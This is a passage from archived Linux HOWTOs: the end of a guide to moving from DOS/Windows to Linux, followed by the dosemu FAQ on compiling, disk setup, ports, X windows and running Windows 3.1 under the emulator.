LESS="-M-Q"                     # long prompt, silent
LESSEDIT="%E ?lt+%lt. %f"       # edit top line
VISUAL="jed"                    # editor
LESSCHARSET=latin1              # visualise accented letters
export PS1 PS2 CDPATH LS_OPTIONS LESS LESSEDIT LESSOPEN VISUAL LESSCHARSET

11.8 Common Extensions and Related Programs

You may come across scores of file extensions. Excluding the more exotic ones (i.e. fonts, etc.), here's a list of who's what:

  • 1 ... 8: man pages. Read them with groff -Tascii -man <file.1>.
  • arj: archive made with arj.
  • dvi: output file produced by TeX (see below). xdvi to visualise it; dvips to turn it into a PostScript .ps file.
  • gz: archive made with gzip.
  • info: info file (sort of alternative to man pages). Get info.
  • lsm: Linux Software Map file. It's a plain ASCII file containing the description of a package.
  • ps: PostScript file. To visualise or print it get gs and, optionally, ghostview or gv.
  • rpm: Red Hat package. You can install it on any system using the package manager rpm.
  • taz, tar.Z: archive made with tar and compressed with compress.
  • tgz, tar.gz: archive made with tar and compressed with gzip.
  • tex: text file to submit to TeX, a powerful typesetting system. Get the package tex, available in many distributions.
  • texi: texinfo file, can produce both TeX and info files (cp. info). Get texinfo.
  • xbm, xpm, xwd: graphic file.
  • Z: archive made with compress.

11.9 Converting Files

If you need to exchange text files between DOS/Win and Linux, be aware of the ``end of line'' problem. Under DOS, each line of text ends with CR/LF (that is, ASCII 13 + ASCII 10), with LF under Linux. If you edit a DOS text file under Linux, each line will likely end with a strange--looking `M' character; a Linux text file under DOS will appear as a kilometric single line with no paragraphs. There are a couple of tools, dos2unix and unix2dos, to convert the files.

If your text--only files contain accented characters, make sure they are made under Windows (with Notepad) and not under plain DOS; otherwise, all accented characters will be screwed up.

11.10 Free Office Suites

Yes, you can have for free what would otherwise cost a lot of money!

StarOffice ( http://www.sun.com/staroffice.) is currently the only choice, though Koffice is down the pipeline ( http://www.koffice.org). StarOffice is big and slow, but very good anyway: it offers a lot of functionality not found in Microsoft Office. It can also read and write Word and Excel files, although the conversion isn't always perfect.

Another good package is Corel WordPerfect, a free edition of which is available for download. Need I say more? Go fetch it: http://www.corel.com.


From DOS/Windows to Linux HOWTO : The End, for Now

 Next Previous Contents

12. The End, for Now

Congratulations! You have now grasped a little bit of UNIX and are ready to start working. Remember that your knowledge of the system is still limited, and that you are expected to do more practice with Linux to use it comfortably. But if all you had to do was get a bunch of applications and start working with them, what I included here is enough.

I'm sure you'll enjoy using Linux and will keep learning more about it---everybody does. I bet, too, that you'll never go back to DOS/Win! I hope I made myself understood and did a good service to my 3 or 4 readers.

12.1 Copyright

Copyright (c) by Guido Gonzato, ggonza at tin.it. This document may be distributed only subject to the terms and conditions set forth in the LDP License at http://www.linuxdoc.org/COPYRIGHT.html, except that this document must not be distributed in modified form without the author's consent.

If you have questions, please refer to the Linux Documentation Project home page, http://www.linuxdoc.org

12.2 Disclaimer

This document is provided ``as is''. I put great effort into writing it as accurately as I could, but you use the information contained in it at your own risk. In no event shall I be liable for any damages resulting from the use of this work.

Many thanks to Matt Welsh, the author of ``Linux Installation and Getting Started'', to Ian Jackson, the author of ``Linux frequently asked questions with answers'', to Giuseppe Zanetti, the author of the book ``Linux'', to all the folks who emailed me suggestions, and especially to Linus Torvalds and GNU who gave us Linux.

Feedback is welcome. For any requests, suggestions, flames, etc., feel free to contact me.

Enjoy Linux and life,

Guido =8-)


The dosemu HOWTO

by Mike Deisher.

Updated by Uwe Bonnes for dosemu-0.64.4, 15 March 1997

Updated by David Hodges, davidhodges@altavista.net For dosemu-0.98.8, 24 April 1999

This is the `Frequently Asked Questions' (FAQ) / HOWTO document for dosemu. The most up-to-date version of the dosemu-HOWTO may be found at http://www.dosemu.org.

1. The preliminaries

  • 1.1 What is dosemu, anyway?
  • 1.2 What operating systems does dosemu work under ?
  • 1.3 What processors does dosemu work on ?
  • 1.4 What if I have an Alpha/Sparc/Motorola/other non-Intel CPU ?
  • 1.5 Do I need MS-DOS to use dosemu ?
  • 1.6 Can I run Microsoft Windows programs under dosemu ?
  • 1.7 I want to run something that won't run under DOSemu or Wine
  • 1.8 Names and numbers
  • 1.9 What version of Dosemu should I use?
  • 1.10 What's the newest version of dosemu and where can I get it?
  • 1.11 Where can I ask questions?
  • 1.12 Where can I report bugs and ask questions?
  • 1.13 What documentation is available for dosemu?
  • 1.14 I have a program that fails, not listed in EMUfailure.txt
  • 1.15 How do I submit changes or additions to the HOWTO?
  • 1.16 Message from Greg...

2. Compiling and installing dosemu

  • 2.1 Where are the installation instructions?
  • 2.2 Top ten problems while compiling and installing dosemu.
  • 2.3 How do I make aout binaries?
  • 2.4 How do I compile dosemu on a machine with low memory?
  • 2.5 Compilation fails with some strange error regarding "slang"
  • 2.6 What configurable options are available ?
  • 2.7 Do I need to run dosemu as root?
  • 2.8 How do I patch dosemu ?
  • 2.9 What versions of DOS are known to run with dosemu ?

3. Hard disk setup

  • 3.1 How do I use my hard disk with dosemu?
  • 3.2 How can I access the hdimage from Linux?
  • 3.3 Can I use my stacked/double-spaced/super-stored disk?
  • 3.4 Creating your own hdimage file.

4. Parallel ports, serial ports and mice

  • 4.1 Port access worked with older version, but doesn't work now!
  • 4.2 Port access was faster with older versions!
  • 4.3 Where are the (microsoft compatible) mouse drivers?
  • 4.4 Why doesn't the mouse driver work?
  • 4.5 Why does dosemu clobber COM4?
  • 4.6 How do I use dosemu over the serial ports?
  • 4.7 How can I switch between dosemu and a shell over the serial line?
  • 4.8 How can I get the parallel ports to work?

5. Multiple users and Non-interactive sessions

  • 5.1 Can I use dosemu on a multi-user system?
  • 5.2 How can I run dos commands non-interactively?

6. dosemu and Netware

  • 6.1 How do I get Netware access from dosemu?

7. dosemu and X-windows(97/2/9).

  • 7.1 Can I run dosemu in console mode while running X?
  • 7.2 Is it possible to run dosemu in a window in X-windows?
  • 7.3 Xdos dosen't work on a remote X-display!
  • 7.4 Xdos dosen't find the VGA font
  • 7.5 The vga font is very small on my high resolution display
  • 7.6 Dosemu compilation fails with some strange error regarding X!
  • 7.7 Does ansi emulation work properly?

8. dosemu and MS-Windows 3.1

  • 8.1 Is it possible to run MS-Windows 3.1 under dosemu?
  • 8.2 Can I run 32bit stuff with winemu
  • 8.3 Errormessage: Cannot find the vdtapi.386 file when starting dosemu
  • 8.4 Windows 3.x in xdos:
  • 8.5 Can I install windows from within dosemu?
  • 8.6 Notes for the mouse under win31-in-xdos:
  • 8.7 Why did my Icon disappear from the Program manager?

9. Video and sound

  • 9.1 Can I run 32-bit video games under dosemu?
  • 9.2 Exiting from dosemu gives me a screen full of garbage.
  • 9.3 Why doesn't my soundcard software work with dosemu?

10. Games

  • 10.1 Duke3d dosen't work

11. Problems and fixes

  • 11.1 Security issues
  • 11.2 dosemu says "ERROR: general protection" and terminates when I run some program
  • 11.3 Dosemu dies when booting. I have Win95 installed.
  • 11.4 Dosemu hangs! How can I kill it?
  • 11.5 Dosemu crashed and now I can't type anything.
  • 11.6 I've enabled EMS memory in dosemu.conf but it does not help.
  • 11.7 How do I get rid of all those annoying "disk change" messages?
  • 11.8 Why won't dosemu run a second time after exiting in console mode?
  • 11.9 Why will dosemu run in a term but not in the console?
  • 11.10 How can I speed up dosemu?
  • 11.11 My CDROM drive has problems reading some files under dosemu.
  • 11.12 How do I see debugging output?
  • 11.13 Why are my keystrokes echoed ttwwiiccee??
  • 11.14 Dosemu scrambles my screen?
  • 11.15 MS FoxPro 2.6 won't run

12. Contributing to the dosemu project

  • 12.1 Who is responsible for dosemu?
  • 12.2 I want to help. Who should I contact?


The dosemu HOWTO: The preliminaries

 Next Previous Contents

1. The preliminaries

1.1 What is dosemu, anyway?

To quote the manual, "dosemu" is a user-level program which uses certain special features of the Linux kernel and the 80386 processor to run MS-DOS/FreeDOS/DR-DOS in what we in the biz call a `DOS box.' The DOS box, a combination of hardware and software trickery, has these capabilities:

o the ability to virtualize all input/output and processor control instructions

o the ability to support the word size and addressing modes of the iAPX86 processor family's "real mode," while still running within the full protected mode environment

o the ability to trap all DOS and BIOS system calls and emulate such calls as are necessary for proper operation and good performance

o the ability to simulate a hardware environment over which DOS programs are accustomed to having control.

o the ability to provide DOS services through native Linux services; for example, dosemu can provide a virtual hard disk drive which is actually a Linux directory hierarchy."

1.2 What operating systems does dosemu work under ?

Dosemu is primarily written for Linux. It also works on NetBSD and possibly FreeBSD, however the graphics emulation is unlikely to work on NetBSD, which means that all DOS programs that use graphics mode (most DOS programs) will not work under NetBSD.

1.3 What processors does dosemu work on ?

Dosemu only works on Intel 80x86 processors, e.g. 80386, 80486, Pentium etc.

1.4 What if I have an Alpha/Sparc/Motorola/other non-Intel CPU ?

Dosemu only works on Intel 80x86 processors but there are alternatives: Bochs ( http://www.bochs.com) is an open source shareware PC emulator that runs on most Unixes (as well as MS-Windows), and there are other (non-free) alternatives - see the comp.emulators.misc FAQ, available via usenet or ftp://rtfm.mit.edu/pub/usenet-by-hierarchy/comp/emulators/misc/

1.5 Do I need MS-DOS to use dosemu ?

No. You need some version of DOS but not necessarily MS-DOS. See the section "What versions of DOS are known to run with dosemu ?"

1.6 Can I run Microsoft Windows programs under dosemu ?

Not reliably. You would be better to use the Windows emulator Wine ( http://www.winehq.com). If you insist on running Windows under dosemu, see section 8 - dosemu and MS-Windows 3.1.

1.7 I want to run something that won't run under DOSemu or Wine

See section 1.4.

1.8 Names and numbers

(xx/yy/zz) means day zz in month yy in year xx.
winemu mean WinOS/2 running in dosemu.

1.9 What version of Dosemu should I use?

Dosemu uses the same numbering scheme as the kernel. Uneven second numbers are for possible unstable developer releases, even second numbers are for releases considered stable. At the time of writing, 0.98.8 is the latest stable release, while 0.99.10 is the latest developer's release. So if you want to use dosemu, get the latest stable release.

1.10 What's the newest version of dosemu and where can I get it?

The newest version of dosemu as of 99/04/09 is dosemu0.98.8 and can be ftp'ed from:

ftp://ftp.dosemu.org/pub/dosemu/

Remember that this is ALPHA code, however: there may be serious bugs and very little documentation for new features. The development version is particularly likely to have bugs. Please use it only if you like to do active development. Don't report bugs in the development version, fix them instead.

1.11 Where can I ask questions?

If you have problems regarding installing and running dosemu after reading the documentation, first try to help yourself: Your question has probably been asked and perhaps answered before. Try some search engine on the internet to retrieve that information. E.g. you can ask

http://www.dejanews.com

to find all newsnet articles containing the keywords of your question. Helping yourself will probably be faster than asking a well known question. It also frees up the time of developers from answering trivial question and so helps the further development of dosemu.

1.12 Where can I report bugs and ask questions?

If you want to ask questions and report bugs regarding dosemu, you should consider subscribing to the linux-msdos mailing list. To subscribe, send mail to Majordomo@vger.rutgers.edu with the following command in the body of your email message:

    subscribe linux-msdos your_username@your.email.address
If you ever want to remove yourself from the mailing list, you can send mail to Majordomo@vger.rutgers.edu with the following command in the body of your email message:
    unsubscribe linux-msdos your_username@your.email.address
(95/8/11). When you are subscribed to linux-msdos, you can send your report as mail to linux-msdos@vger.rutgers.edu. There is a gate that send mails to linux-msdos@vger.rutgers.edu as postings to the newsgroup named linux.dev.msdos. If your News provider doesn't carry that group, ask her(him) to add that group. Before you ask a question, you should carefully read all of the documentation, including this HOWTO and check one of the mailing list archives listed at http://www.dosemu.org/mailinglist.html to see whether your question has already been asked and answered.

1.13 What documentation is available for dosemu?

Dosemu comes with documentation. The main documentation files README.txt and README-tech.txt cover virtually all aspects of dosemu and may be more up-to-date than this HOWTO.

The "dosemu Novice's Altering Guide" or DANG is a road map to the inner workings of dosemu. It is designed for the adventurous, those who wish to modify the source code themselves. The DANG is maintained by Alistair MacDonald ( alistair@slitesys.demon.co.uk) and is found in the doc directory of the dosemu source tree.

The EMU failure list (EMUfailure.txt) is a partial list of programs known not to work under dosemu.

And then, of course, there is the dosemu FAQ/HOWTO. But you already know about that, don't you. It is also posted once in a while to the mailing list and found in the doc-directory. The most recent version can be found at http://www.dosemu.org.

1.14 I have a program that fails, not listed in EMUfailure.txt

First check, if the failure of your program is not caused by some of the fundamental incapabilities of dosemu, listed in EMUfailure.txt. If you think you have something new, please report to linux-msdos@vger.rutgers.edu. Perhaps it can be made going with the help others. Give detailed information about your setup, tell the version of kernel, dosemu etc and name the observed errors. You can use xdos to cut and paste the error message into your report. But keep your report in a readable form. We know the content of ../etc/config.dist. So only send the active lines from your dosemu.conf. Try running dosemu with some or all debug output turned on and scan through your debug output and at first only send those parts you think are relevant. Few people are willing to decode some long attachment to a mail, to do debugging for others. But keep your logs at hand, in case others ask detailed questions.

1.15 How do I submit changes or additions to the HOWTO?

The preferred method is to edit the file dosemu-HOWTO-xx.x.sgml to incorporate the changes, create a diff file by typing something like

diff -uw original-file new-file

and send it to davidhodges@altavista.net. If you do not know SGML, that's ok. Changes or new information in any form will be accepted. Creating the diff file just makes it easier on the HOWTO maintainer. :-)

1.16 Message from Greg...

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have questions, please contact Greg Hankins, the Linux HOWTO coordinator, at gregh@cc.gatech.edu(95/8/11).


The dosemu HOWTO: Compiling and installing dosemu

 Next Previous Contents

2. Compiling and installing dosemu

2.1 Where are the installation instructions?

The installation instructions are in the file, "QuickStart", included in the distribution.

2.2 Top ten problems while compiling and installing dosemu.

1. Forgetting to read the QuickStart Guide.

2. Try to compile some old version of dosemu.

3. Try to compile with a kernel older than 2.0.28 or 2.1.15.

4. Having the wrong linux kernel source sitting in /usr/src/linux or missing /usr/src/linux/include/version.h

5. Use dosemu with a kernel that does not have IPC compiled in.

6. Compile with gcc older than 2.7.2 or libc older than 5.x.x.

7. Forget to edit your /etc/dosemu.conf, /etc/dosemu.users and /var/lib/dosemu/global.conf files

8. Run DOSEMU with partition access while they are already mounted.

9. Don't install dosemu with sufficient privileges (i.e., root).

10. Try to run programs that use DPMI without enabling dpmi in /etc/dosemu.conf

2.3 How do I make aout binaries?

Starting with version 0.64.4 there is no a.out support any more. If you absolutely need it, you must use version 0.64.3.1. The configure script then should take care for this, if you setup is a standard setup.

2.4 How do I compile dosemu on a machine with low memory?

Marty Leisner (leisner@sdsp.mc.xerox.com) reported (95/4/8) that

If you have problems with running out of swap space you may want to add CFLAGS+=-fno-inline after CFLAGS is defined in dpmi/Makefile. Be careful before you do this and check for the existence of swap space. I found Linux crashes at times when it has no swap space.

2.5 Compilation fails with some strange error regarding "slang"

You probably have

slangforce off
in your compiletime-settings file. You need to change it to
slangforce on
and recompile.

2.6 What configurable options are available ?

The compiletime-settings.help file describes the options you can change at compile time. The README.txt file describes the options you can change at run time.

2.7 Do I need to run dosemu as root?

No. Although dosemu drops root privilege wherever possible, it is still safer to not run dosemu as root, especially if you run DPMI programs under dosemu. Most normal DOS applications don't need dosemu to run as root, especially if you run dosemu under X. Thus you should not allow users to run a suid root copy of dosemu, wherever possible, but only a non-suid copy. You can configure this on a per-user basis using the /etc/dosemu.users file.

Programs that require direct access to hardware ports (e.g. if the program needs to talk to some unusual hardware that is not supported by Linux and dosemu) require dosemu to run as root but printers, serial ports, mice and video cards (and to a small extent sound - hopefully more soon) are emulated by dosemu so you don't need direct hardware access and don't need to run as root to use these.

2.8 How do I patch dosemu ?

If you do patch dosemu from one version to another, do "make pristine;./configure; make". If you don't make pristine, at least the version of the new executable will be wrong, if the whole thing compiles at all(97/2/9).

2.9 What versions of DOS are known to run with dosemu ?

All versions of DOS should work with dosemu, with the following caveats:

FreeDOS ( http://www.freedos.org) does not (yet) have a working redirector so you will not be able to access your Linux filesystem or Novell networking under FreeDOS. Note also that FreeDOS is unreliable beta software and may crash unexpectedly, trash its filesystem, etc. etc.

DOS 4.01 had problems by itself, so it won't work reliably with dosemu either.

With MsDos-7 aka Win95 you must not start the graphic shell at bootup. If you make the hdimage bootable with the so called "Rescue Disk" you are offered to make during the Windows installation, you get the right settings. If you use your normal Win95 installation to transfer the system files, have a look at the msdos.sys written on the hdimage and change the settings under the section [Options] to have entries like [Options] Logo=0 BootGUI=0


The dosemu HOWTO: Hard disk setup

 Next Previous Contents

3. Hard disk setup

3.1 How do I use my hard disk with dosemu?

First, mount your dos hard disk partition as a Linux subdirectory. For example, you could create a directory in Linux such as /dos (mkdir -m 755 /dos) and add a line like

   /dev/hda1       /dos     msdos   umask=022
to your /etc/fstab. (In this example, the partition is mounted read-only. You may want to mount it read/write by replacing "022" with "000" and using the -m 777 option with mkdir). Now mount /dos. The README.txt says:
  you just can have a Linux directory containing all what you
  want to have under your DOS C:. Copy your IO.SYS, MSDOS.SYS or what
  ever to that directory (e.g. /var/lib/dosemu/bootdir), put

          $_hdimage = "bootdir"

  into your /etc/dosemu.conf, and up it goes. DOSEMU makes a lredir'ed
  drive out of it and can boot from it. You can edit the config.sys and
  the autoexec.bat within this directory before you start dosemu.  Fur-
  ther more, you may have a more sohisticated setup. Given you want to
  run the same DOS drive as you normal have when booting into native
  DOS, then you just mount you DOS partition under Linux (say to /dos)
  and put links to its subdirectories into the boot dir. This way you
  can decide which files/directories have to be visible under DOSEMU and
  which have to be different. Here's a small and incomplete example
  bootdir setup:

         config.sys
         autoexec.bat
         command.com -> /dos/command.com
         io.sys -> /dos/io.sys
         msdos.sys -> /dos/msdos.sys
         dos -> /dos/dos
         bc -> /dos/bc
         windows -> /dos/windows

  There is, however, one drawback, you can't use the DosC kernel
  (FreeDos) for it, because it hasn't yet a working redirector (will
  hopefully be available some time in the future).

3.2 How can I access the hdimage from Linux?

Use mtools. With a line in /etc/mtools.conf like

   drive n:  file="/var/lib/dosemu/hdimage" MTOOLS_SKIP_CHECK=1 \
   MTOOLS_LOWER_CASE=1 MTOOLS_NO_VFAT=1 partition=1 offset=128
you can use the mtools on the hdimage, like "mdir n:". "mcopy n:/config.emu /tmp" copies the config.emu file from the hdimage to /tmp/config.emu. You can edit it there and copy it back. Use a drive letter you find sensible. "N:" is only an example.

3.3 Can I use my stacked/double-spaced/super-stored disk?

At this time, compressed drives cannot be accessed via the redirector (lredir or emufs) on a standard kernel. There is a patch for the kernel to mount compressed files under the name "dmsdosfs". Find it on sunsite.unc.edu and its mirrors

http://sunsite.unc.edu:/pub/Linux/system/filesystems/dosfs/
A good idea is also to look in http://sunsite.unc.edu:/pub/Linux/Incoming for a newer version. The "wholedisk" option in older versions of dosemu is no longer allowed in recent versions, however, a line like
   $_hdimage = "/dev/hda1"
may work, at the risk that you could lose all data in that partition on a dosemu crash.

If your dos partition is already mounted with write access and you try to run dosemu with partition access, dosemu will print a warning message and abort. This prevents DOS and Linux from making independent writes to your disk and trashing the data on your dos partition(95/8/11).

---------------------

If LILO is installed, the above will not work. However...

Thomas Mockridge (thomas@aztec.co.za) reported (94/8/5) that

To boot dosemu with LILO and Stacker 4.0 I did a little work around...

1. dd the MBR to a file. (or norton utility, etc., first 512 bytes)

2. Boot dos (from full boot not emu), do a fdisk /mbr, make your dos partition active with (dos) fdisk.

3. Copy the new MBR to a file.

4. Replace the original MBR

5. Copy the second MBR to /var/lib/dosemu/partition.hda? (Whichever is your dos partition)

6. Set dosemu.conf

               disk {partition "/dev/hda? ?"}

7. Start dosemu and and voila! No LILO.

For recent versions of dosemu you need to change the

               disk {partition "/dev/hda? ?"}
line to something like
               $_hdimage = "/dev/hda1"
---------------------

Holger Schemel (q99492@pbhrzx.uni-paderborn.de) reported (94/2/10) that

Works even fine under dosemu with MS-DOS 6.0. If you have problems, then you have to edit the file 'DBLSPACE.INI' manually and change the disk letter to the letter your drive gets under dosemu.

---------------------

Darren J Moffat (moffatd@dcs.gla.ac.uk) also reported (94/3/27)

"...use 6.2 if you can get it!! Just make sure you have a LILO boot disk on hand since dos 6{.2} will change the MBR of the boot HZ."

3.4 Creating your own hdimage file.

The easy way is to use mkdexe - see README.txt for details. The old-fashioned way (I don't know why anyone would want to do it that way any more but here it is, just in case) is as follows:

There is an extra util program called mkfatimage16 which allows for creating a hdimage file headers. The full information is in the manpage (man/mkfatimage16.1) included in your distribution.

To create a hard disk image file with a geometry corresponding to that of a real hard disk of 32 megabytes run:

mkfatimage16 -k 32768 > hdimage

This is probably too large for most needs; if you need this much space, consider using the disk redirector."

Usually it is a good idea to format the drive after it.


The dosemu HOWTO: Parallel ports, serial ports and mice

 Next Previous Contents

4. Parallel ports, serial ports and mice

4.1 Port access worked with older version, but doesn't work now!

Read ../doc/README.txt and the port-section in ../etc/config.dist

4.2 Port access was faster with older versions!

To have a chance to log port access, by default every port access produces an exception out of vm86-mode. This takes some time. If you don't want to log port access, use the keyword "fast" in the appropriate port statement.

4.3 Where are the (microsoft compatible) mouse drivers?

Tom Kimball (tk@pssparc2.oc.com) reported (93/11/24) that

Several people said to use a different mouse driver and suggested some. I found a couple that seem to work fine.

   oak.oakland.edu:/pub/msdos/mouse/mouse701.zip   (mscmouse)
   oak.oakland.edu:/pub/msdos/mouse/gmous102.zip   (gmouse)
Normally you can use dosemu's internaldriver, so you don't need any additional mousedriver in dosemu outside winemu(97/2/10).

4.4 Why doesn't the mouse driver work?

Mark Rejhon (mdrejhon@magi.com) reported (95/4/7) that

If you start the mouse driver and it just hangs (it might actually take 30-60s), but if you are waiting longer than a minute for the mouse driver to start, try specifying the COM port that the mouse is on, at the mouse driver command line.

4.5 Why does dosemu clobber COM4?

Rob Janssen (rob@pe1chl.ampr.org) reported (94/3/24) that

According to jmorriso@bogomips.ee.ubc.ca, "dosemu still clobbers COM4 (0x2e8, IRQ 5). 0x2e8 isn't in ports{} in config. I have to run setserial /dev/cua3 irq 5 on it after dosemu exits."

This is caused by your VGA BIOS. I have found that by enabling the IO port trace and seeing where it was clobbered.

Disable the "allowvideoportaccess on" line in config and it will work fine. When you then have problems with the video, try to enable more selective ranges of IO addresses (e.g., 40-43).

4.6 How do I use dosemu over the serial ports?

4.7 How can I switch between dosemu and a shell over the serial line?

John Taylor (taylor@pollux.cs.uga.edu) reported (94/5/25) that

I am running Linux 1.1.13 and want to point out a great feature that should be protected and not taken out (IMHO). With the 52 version, I can run the program, "screen." From screen, i can invoke dos -D-a. What is really great (IMHO) is the screen commands (the CTRL-A cmds) still work. This means I can do a CTRL-A C and add another unix shell, and switch between the two (DOS / UNIX). This allows me to use dosemu over the serial line really well, because switching is made easy.

4.8 How can I get the parallel ports to work?

The dosemu.conf has lines at the end to redirect printers to either lpr or a file. If you want direct access to the bare metal, comment out these emulation lines, and add the line

$_ports { device /dev/lp0 fast range 0x3bc 0x3bf } # lpt0
for the "monitor card" printer port (corresponds to /dev/lp0), or
$_ports { device /dev/lp1 fast range 0x378 0x37f } # lpt1
or
$_ports { device /dev/lp1 fast range 0x278 0x27f } # lpt2
for LPT1 (/dev/lp1) or LPT2 (/dev/lp2) respectively(97/2/9).

Hans Lermen (lermen@dosemu.org) writes:

But NOTE: these lines should not be _added_ simply, the string should be concatenated such as:

$_ports = "...." $_ports = $_ports, " device /dev/lp0 fast range 0x3bc 0x3bf" = This blank is important


The dosemu HOWTO: Multiple users and Non-interactive sessions

 Next Previous Contents

5. Multiple users and Non-interactive sessions

5.1 Can I use dosemu on a multi-user system?

Yes, you can configure dosemu on a per-user basis. See README.txt for details.

5.2 How can I run dos commands non-interactively?

You can do any of the following: 1. redirect a file to dosemu standard input 2. use the keystroke configuration option and the -I command line option as described in the README.txt file to specify keystrokes on the command line that will act exactly as if you had typed them within dosemu 3. use the mkdexe program to create a DEXE file - a small DOS filesystem image containing just the program you want to run - see the README.txt file for details.

Here are some additional alternatives:

Daniel T. Schwager (danny@dragon.s.bawue.de) reported (94/7/2) that

You can use different dosemu.conf files (and different hd-boot-images with different autoexec.bat's) and call dosemu like

$ dos -F my_quicken_q_exe_dosemu.conf

---------------------

Dietmar Braun (braun@math20.mathematik.uni-bielefeld.de) reported (94/7/4) that

This is no problem at all when you use the redirector of dosemu. It is possible to redirect a drive letter to a linux path given by an environment variable.

So I have a shell script named "DOS" which does something like

 mkdir /tmp/dos.$$
 DOSTMP=/tmp/dos.$$; export DOSTMP
and then a little trick to get "echo $* > $DOSTMP/startup.bat" really working (actually a small C Program which turns '/' in '\' and terminates lines correctly for messy dos with cr/lf pairs and adds ^Z at the end of the file), creates startup files, links and so on in this directory, and then starts dosemu. Within "autoexec.bat" drive c: is redirected from hdimage to this tmp-directory, which has links for $HOME and $PWD.

So if I want to see my filenames shortened to 8.3 I can type "DOS dir" and I get my current directory listing. So I have full DOS multi user (I don't have any DOS partition and redirecting to Linux preserves user permissions) and multi tasking. (dosemu sessions are completely independent). I did this once to be able to use a dos driver for my printer. My printcap df is actually a DOS program. So you can even make DOS executables act as lpr filters.


The dosemu HOWTO: dosemu and Netware

 Next Previous Contents

6. dosemu and Netware

6.1 How do I get Netware access from dosemu?

As always, access through the Linux filesystem is preferred. Mount your Netware drives with Caldera's Netware utilities or Volker Lendecke's free ncpfs utility ( ftp://ftp.gwdg.de:/pub/linux/misc/ncpfs). If you need real IPX access, e.g. to run Novell's "syscon", read ../doc/NOVELL-HOWTO.txt. You probably can not currently access Netware from FreeDOS.


The dosemu HOWTO: dosemu and X-windows(97/2/9).

 Next Previous Contents

7. dosemu and X-windows(97/2/9).

7.1 Can I run dosemu in console mode while running X?

Ronald Schalk (R.Schalk@uci.kun.nl) reported (94/1/17) that

Yes, no problem. Just remember to use ctrl-alt-<Fn> to go to a Virtual Console (VC), and you can run any Linux application (dosemu is a linux-application). I've got almost always WP5.1 in a dos session.

[Note: Use ctrl-alt-F7 to switch back to X from dosemu, if X runs on VC7.]

7.2 Is it possible to run dosemu in a window in X-windows?

If you have X installed and you have successfully compiled dosemu and run it successfully outside X-windows, you should be able to run "xdos" or "dos -X" right away to bring up a dosemu window. If this does not work, make sure:

  1. Dosemu has X support compiled in. This is default, however
     if you you have compiled dosemu with "x off" in the
     compiletime-settings file you don't have X support. So changing
     "x off" to "x on" in the compiletime-settings file, followed by
     "make pristine; make; make install" should build
     you a dosemu-executable with X support, if you have the
     X-libraries installed in /usr/X11R6.
  2. Set up your X key-mappings.  In an xterm, type

     xmodmap -e "keycode 22 = 0xff08"
     xmodmap -e "keycode 107 = 0xffff"

     These lines fix the backspace and delete keys respectively.
  3. Configure the X-related configuration options in your
     /etc/dosemu.conf file.

Alternatively, you can run dosemu inside a color xterm, which is not recommended because many color xterms have buggy support for the complex text display capabilities of dosemu. This does not require X_SUPPORT to be compiled into dosemu. However, if you really want to do this, do the following steps:

  1. Install ansi_xterm.  The recommended package is available as:
     tsx-11.mit.edu:/pub/linux/ALPHA/dosemu/Development/ansi-xterm-R6.tar.gz

  2. Set up your X key-mappings.  In an xterm, type

     xmodmap -e "keycode 22 = 0xff08"
     xmodmap -e "keycode 107 = 0xffff"

     These lines fix the backspace and delete keys, respectively.

  3. Configure the terminal-related (not X-related) settings in
     /etc/dosemu.conf

Marty Leisner (leisner@sdsp.mc.xerox.com) reported (95/3/31) that

I have xrdb log the following resources

dosxterm*Font: vga dosxterm*geometry: 80x25 dosxterm*saveLines: 25
or I alias "dosxterm" to "term -fn vga -title dosxterm -geometry 80x25 -sl 25"

If you use the xrdb method, all you have to do is run "xterm -name dosxterm"

7.3 Xdos dosen't work on a remote X-display!

At present, dosemu is set up to use the MIT shared memory extensions. This extension only works on a local display. If you want to run xdos on a remote display, compile dosemu with "mitshm off" in the compiletime-settings file after a "make pristine" or on the clean source tree(97/2/9).

7.4 Xdos dosen't find the VGA font

Check that the vga fonts you installed are listed in the font.dir of the directory you installed the fonts in:

hertz:~> grep misc /usr/X11R6/lib/X11/XF86Config
    FontPath    "/usr/X11R6/lib/X11/fonts/misc/"
hertz:~> grep vga /usr/X11R6/lib/X11/fonts/misc/fonts.dir
vga.pcf vga
vga11x19.pcf vga11x19
hertz:~> ls /usr/X11R6/lib/X11/fonts/misc/vga*
/usr/X11R6/lib/X11/fonts/misc/vga.pcf
/usr/X11R6/lib/X11/fonts/misc/vga11x19.bdf
/usr/X11R6/lib/X11/fonts/misc/vga11x19.pcf
If you installed some X-fonts, like you did when you installed dosemu with X-Support for the first time, "mkfontdir" and then "xset fp rehash" needs to be run. The dosemu install should take care for "mkfontdir" and tells you about "xset fp rehash". Tell us if it doesn't work for you. (97/2/13)

7.5 The vga font is very small on my high resolution display

Look for the vga11x19 font. (97/2/13)

7.6 Dosemu compilation fails with some strange error regarding X!

As stated above, dosemu uses the MIT shared memory extensions by default. Under XFree86 they are only available with Version 3.1.2 and above. If you have an older version, consider to upgrade, or configure dosemu to not use this extension (see last section)(97/2/9).

7.7 Does ansi emulation work properly?

Marty Leisner (leisner@sdsp.mc.xerox.com) reported (95/3/31) that

Yes. I use nnansi.com under X windows. I find 25, 43 and 50 line mode work properly, however 50 line mode is difficult to use on a 1024x768 screen (unless smaller fonts are used or you use a bigger screen. 43 line mode will resize the xterm window to use 43 lines.


The dosemu HOWTO: dosemu and MS-Windows 3.1

 Next Previous Contents

8. dosemu and MS-Windows 3.1

8.1 Is it possible to run MS-Windows 3.1 under dosemu?

The ../doc/README.Windows file says:

***************************************************************
*    WARNING!!! WARNING!!! WARNING!!! WARNING!!! WARNING!!!   *
*                                                             *
*  Danger Will Robinson!!!  This is not yet fully supported   *
*  and there are many known bugs!  Large programs will almost *
*  certainly NOT WORK!!!  BE PREPARED FOR SYSTEM CRASHES IF   *
*  YOU TRY THIS!!!                                            *
*                                                             *
*    WARNING!!! WARNING!!! WARNING!!! WARNING!!! WARNING!!!   *
***************************************************************

